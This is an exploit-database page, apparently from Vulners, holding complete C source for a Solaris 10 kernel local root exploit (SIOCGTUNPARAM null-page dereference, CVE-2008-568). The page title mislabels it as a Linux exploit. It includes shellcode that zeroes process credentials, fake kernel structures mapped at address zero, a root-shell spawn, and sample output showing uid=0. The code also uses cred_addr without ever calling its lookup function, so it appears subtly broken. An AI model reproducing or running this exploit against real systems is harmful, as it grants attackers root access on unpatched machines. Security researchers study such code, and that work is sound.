Lucene search
K

Linux Kernel (Solaris 10 / < 5.10 138888-01) - Local Privilege Escalation

🗓️ 10 Jan 2011 00:00:00Reported by peri.cardingType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 37 Views

Local privilege escalation exploit for Solaris 10 < 5.10 138888-0

Code
/***********************************************************
 * hoagie_solaris_siocgtunparam.c
 * LOCAL SOLARIS KERNEL ROOT EXPLOIT (< 5.10 138888-01) - CVE-2008-568
 *
 * Bug reported by Tobias Klein
 * http://www.trapkit.de/advisories/TKADV2008-015.txt
 * Exploit by: peri.carding (http://www.void.at/main/)
 * 
 * $ ./hoagie_solaris_siocgtunparam
 * hoagie_solaris_siocgtunparam.c - solaris root < < 5.10 138888-01 local
 * -andi / void.at
 *
 * [*] socket created
 * [*] mapping zero page successful
 * [*] process cred address: 0xd3853894
 * [*] prepare null page
 * [*] clean up write queue
 * # uname -a
 * SunOS unknown 5.10 Generic_118844-26 i86pc i386 i86pc
 * # id
 * uid=0(root) gid=0(root)
 * #
 *
 * First of all we have to make sure that ip_extract_tunreq() will
 * return 0 and ipifp is still set to NULL. This can be achieved by
 * using an interface alias starting with zero. (the interface ip.tun0
 * must not exist because ipif_lookup_on_name() will "fail" to get
 * null page)
 *
 * ip_if.c / ipif_lookup_on_name()
 * ...
 *    if (&cp[2] < endp && cp[1] == '0')
 *       return (NULL);
 * ...
 * 
 * In ip_sioctl_tunparam() ipif->ipif_ill is used for mutex enter
 * so we have to set the offet for an ill_t structure. Later putnext()
 * will be called with a queue (see ill_t). We can use this queue to
 * add a custom callback function that is used by putnext().
 * 
 * ip_if.c / ip_sioctl_tunparam(): 
 * ...
 *      ill = ipif->ipif_ill;
 *      mutex_enter(&connp->conn_lock);
 *      mutex_enter(&ill->ill_lock);
 * ...
 *      if (success) {
 *         ip1dbg(("sending down tunparam request "));
 *         putnext(ill->ill_wq, mp1);
 *         return (EINPROGRESS);
 * ...
 *
 * putnext.c / putnext():
 * ...
 *      mutex_exit(QLOCK(qp));
 *      STR_FTEVENT_MSG(mp, fqp, FTEV_PUTNEXT, mp->b_rptr -
 *         mp->b_datap->db_base);
 *      (*putproc)(qp, mp);
 * ...
 *
 * ill_wq can't be modified from kernel space because its allocated
 * in userland -> so we cannot modify the ill_wq queue in kernel
 * code. thereforce a signal handler will clean the queue in userland.
 *
 * Affected Software:      Solaris 10 without patch 138888-01 (SPARC)
 *                         Solaris 10 without patch 138889-01 (x86)
 *                         OpenSolaris < snv_77 (SPARC)
 *                         OpenSolaris < snv_77 (x86) 
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
 * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
 * DAMAGE DONE USING THIS PROGRAM.
 *
 * VOID.AT Security
 * [email protected]
 * http://www.void.at
 *
 ************************************************************/
#define _STRUCTURED_PROC 1

#include <sys/socket.h>
#include <sys/sockio.h>
#include <sys/mman.h>
#include <net/if.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/procfs.h>

int *nullpage;

void clean_up_wq() {
   fprintf(stderr, "[*] clean up write queue\n");
   *(nullpage + 0x208 / 4) = 0x000; 
}

int get_proc_address() {
   int fd;
   char filename[512];
   psinfo_t psinfo;

   snprintf(filename, sizeof(filename), "/proc/%d/psinfo", getpid());
   fd = open(filename, O_RDONLY);
   if (fd == -1) {
      return -1;
   }

   memset(&psinfo, 0, sizeof(psinfo_t));
   if (read(fd, &psinfo, sizeof(psinfo_t)) != sizeof(psinfo_t)) {
      close(fd);
      return -1;
   }

   close(fd);

   return psinfo.pr_addr;
}

/**
 * \xff\xff\xff\xff will be replaced by target process credential address
 * (can be any process). set cr_uid, cr_gid, cr_ruid and cr_rguid to 0.
 */
char shellcode[] = 
   "\x50"
   "\xb8\xff\xff\xff\xff"
   "\x8b\x00"
   "\xc7\x40\x10\x00\x00\x00\x00"
   "\xc7\x40\x0c\x00\x00\x00\x00"
   "\xc7\x40\x08\x00\x00\x00\x00"
   "\xc7\x40\x04\x00\x00\x00\x00"
   "\x58"
   "\xc3";

int main(int argc, char **argv) { 
   int s;
   struct iftun_req req;
   int cred_addr;

   fprintf(stderr,
           "hoagie_solaris_siocgtunparam.c - solaris root < < 5.10 138888-01 local\n"
	              "-andi / void.at\n\n");

   s = socket(PF_INET, SOCK_DGRAM, IPPROTO_IP);
   if (s == -1) {
      fprintf(stderr, "[-] can't create socket\n");
      return -1;     
   } else {
      fprintf(stderr, "[*] socket created\n");
   }

   memset(&req, 0, sizeof(req));
   strcpy(req.ifta_lifr_name, "ip.tun0:012");

   nullpage = (int*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANON, -1, 0);
   if (nullpage == MAP_FAILED) {
      fprintf(stderr, "[-] can't mmap null page\n");
      return -2;
   } else {
      fprintf(stderr, "[*] mapping zero page successful\n");
   }

   if (cred_addr == -1) {
      fprintf(stderr, "[-] can't get process address\n");
      return -3;
   } else {
      cred_addr += 0x5 * sizeof(int *);
      fprintf(stderr, "[*] process cred address: 0x%08x\n", cred_addr);
      memcpy(shellcode + 2, &cred_addr, 4);
   }

   fprintf(stderr, "[*] prepare null page\n");
   memset(nullpage, 0, 0x1000);
   /* offset   0x0 = ipif_t */
   /* offset   0x4 = ipif_ll */
   *(nullpage + 0x004 / 4) = 0x200;
   /* offset 0x200 = ill_t */
   /* offset 0x008 = ill_wq */
   *(nullpage + 0x208 / 4) = 0x400; 
   /* offset 0x400 = queue_t */
   /* offset 0x00c = q_next */
   *(nullpage + 0x40c / 4) = 0x600;
   /* offset 0x600 = queue_t (second) */
   /* offset 0x000 = qinfo */
   *(nullpage + 0x600 / 4) = 0x800;
   /* offset 0x800 = qinfo */
   /* offset 0x000 = qi_putp */
   *(nullpage + 0x800 / 4) = 0x900;
   memcpy((char*)nullpage + 0x900, shellcode, sizeof(shellcode));

   /* install signla handler to clean up write queue */
   signal(SIGALRM, clean_up_wq);
   alarm(1);

   /* launch attack */
   ioctl(s, SIOCGTUNPARAM, &req);

   /* start root shell - not really required because p_cred is shared
    * but we want the nice # prompt ;-) */
   system("/bin/sh");

   return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation